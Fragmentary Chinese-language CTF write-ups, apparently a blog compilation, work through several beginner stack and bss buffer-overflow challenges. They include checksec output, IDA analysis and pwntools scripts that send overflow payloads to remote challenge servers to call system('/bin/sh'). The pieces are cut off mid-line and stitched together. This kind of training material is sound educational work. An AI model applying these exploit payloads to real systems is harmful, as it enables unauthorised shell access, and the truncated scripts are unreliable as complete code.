从题目中可以看出,本题应该是一个没有提供system函数地址的栈溢出题目,那么我们本题的考点应该是从libc中提取system函数地址。照例检查保护机制root@mypwn:/ctf/work/python# checksec level3 [*] '/ctf/work/python/level3'Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)只是开启了NX,那就没错了,可以执行栈溢出。打开ida看下反编译c语言代码:int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; } ssize_t vulnerable_function() {
1.查看文件保护32位,只开启了NX(数据不可执行)kali中运行程序一个留言板程序,用户可以输出名字和一条信息。2.IDA静态分析(1)main(2)hello第29行fgets接收用户输入到变量name中,双击跟进发现其在.bss段,地址为0804A080函数末尾发现gets()函数,并且数组s与ebp的位移为0x26,因此写0x26+4个字节后即可覆盖返回地址(3)查看字符串窗口没有发现/bin/sh字符串,但是左侧函数窗口中有system函数,地址为08048420还找到一个pwn函数,执行系统命令输出字符串,由此得call __system地址为0804855A因此构造一个/bin/sh作为system执行的参数即可getshell(4)思路整理利用fgets函数溢出后返回地址修改成system()函数,内容用/bin/sh覆盖EXP代码如下:from pwn import * p = remote('61.147.171.105', 63915) payload=b'a'*(0x26+4)+p32(0x0804855A)+p32(0x0804A080) # 或者是直接调
1.查看文件保护ELF32,开启了NX连接nc让用户输入一个字符串后,返回“Hello World!”退出2. IDA静态分析(1)main程序逻辑很简单,执行vulnerable_function()后,系统输出“Hello World!”(2)vulnerable_function()系统输出提示“echo Input:”定义了一个长度为0x88的数组,但read函数允许用户输入0x100个字符,可以发生缓冲区溢出。(3)整理思路看看程序有没有跟题目level0一样的后门(借助程序自带的可执行代码来执行任意操作),Shift+F12 打开字符串内容窗口查看程序中的字符串,观察到存在 “system” 和 “/bin/sh” 字符串,这是解出题目的关键:可是找不到跟level0中一样可以直接执行system("/bin/sh")的函数了,但是找到了_system函数可以getshell,这里的_system函数参数没有写,需要我们自己将 /bin/sh 作为参数传入 system 函数,考查的是 ROP 编程 :我们可以通过强大的 rop 技术来获得系统权限,可以
1.查看文件保护开启NX运行程序2.IDA静态分析(1)main程序逻辑分析:1)main 函数先调用 setbuf 函数清空缓冲区,然后 puts 函数打印两行提示字符;2)接着 read 函数让我们输入数据存入到 地址为0x601068的空间;3)然后 if 语句判断 60106C 的地址如果存放的数据是 1853186401 的话则调用并执行 sub_400686() 函数;(2)sub_400686()执行系统命令,输出flag.txt3.解题解题关键在与如何让地址0x60106C的值等于1853186401unk_601068和dword_60106C和都在.bss段,位移相差4个字节,而unk_601068是由用户输入的,所以我们可以通过此变量,覆盖掉dword_60106C的值,使其值变为目标数值(1853186401)。【BSS 溢出】缓冲区溢出除了典型的栈溢出和堆溢出外,还有一种发生在 bss 段上的溢出, bss 属于数据段的一种,通常用来保存未初始化的全局静态变量。脚本如下:from pwn import * r = remote("61.147.171
1.查看文件保护机制Pasted image 20231215171744.png只开启了NX(数据不可执行)解题脚本:from pwn import * r = remote("61.147.171.105", 64191) payload = "A" * 0x80 + "a" * 0x8 + p64(0x00400596).decode("iso-8859-1") # 注意这里的payload填充0x80后还需要填充8个字节(64位)的数据来覆盖rbp,之后才是覆盖retn r.recvuntil("Hello, World\n") r.sendline(payload) r.interactive()
Norman1z